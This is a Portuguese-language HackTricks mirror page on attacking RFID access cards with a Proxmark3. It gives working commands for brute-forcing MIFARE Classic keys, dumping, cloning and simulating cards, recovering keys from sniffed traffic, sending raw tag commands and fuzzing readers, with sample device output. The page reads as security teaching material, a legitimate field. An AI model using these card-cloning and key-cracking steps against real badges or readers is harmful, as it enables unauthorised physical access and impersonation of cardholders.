mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
52 lines
3.2 KiB
Markdown
52 lines
3.2 KiB
Markdown
# Atacando Sistemas RFID com Proxmark3
|
|
|
|
O primeiro passo é ter um [**Proxmark3**](https://proxmark.com) e [**instalar o software e suas dependências**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
|
|
|
### Atacando MIFARE Classic 1KB
|
|
|
|
Ele possui **16 setores**, cada um com **4 blocos** e cada bloco contém **16B**. O UID está no setor 0 bloco 0 (e não pode ser alterado).\
|
|
Para acessar cada setor, você precisa de **2 chaves** (**A** e **B**) que são armazenadas no **bloco 3 de cada setor** (trailer do setor). O trailer do setor também armazena os **bits de acesso** que concedem permissões de **leitura e escrita** em **cada bloco** usando as 2 chaves.\
|
|
2 chaves são úteis para dar permissões de leitura se você souber a primeira e de escrita se souber a segunda (por exemplo).
|
|
|
|
Vários ataques podem ser realizados
|
|
```bash
|
|
proxmark3> hf mf #List attacks
|
|
|
|
proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
|
|
proxmark3> hf mf fchk 1 t # Improved keys BF
|
|
|
|
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
|
|
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
|
|
|
|
proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
|
|
proxmark3> hf mf restore # Copy data to a new card
|
|
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
|
|
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
|
|
|
|
proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
|
|
proxmark3> hf mf eget 01 # Read block 1
|
|
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
|
```
|
|
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
|
|
|
### Comandos Raw
|
|
|
|
Sistemas IoT às vezes usam **tags não marcadas ou não comerciais**. Nesse caso, você pode usar o Proxmark3 para enviar **comandos raw personalizados para as tags**.
|
|
```bash
|
|
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
|
SAK : 08 [2]
|
|
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
|
|
proprietary non iso14443-4 card found, RATS not supported
|
|
No chinese magic backdoor command detected
|
|
Prng detection: WEAK
|
|
Valid ISO14443A Tag Found - Quiting Search
|
|
```
|
|
Com essa informação, você poderia tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
|
|
|
### Scripts
|
|
|
|
O software Proxmark3 vem com uma lista pré-carregada de **scripts de automação** que você pode usar para realizar tarefas simples. Para recuperar a lista completa, use o comando `script list`. Em seguida, use o comando `script run`, seguido pelo nome do script:
|
|
```
|
|
proxmark3> script run mfkeys
|
|
```
|
|
Pode criar um script para **fazer fuzz nos leitores de tags**, copiando os dados de um **cartão válido** e escrevendo um **script Lua** que **randomize** um ou mais **bytes aleatórios** e verifique se o **leitor trava** com qualquer iteração.
|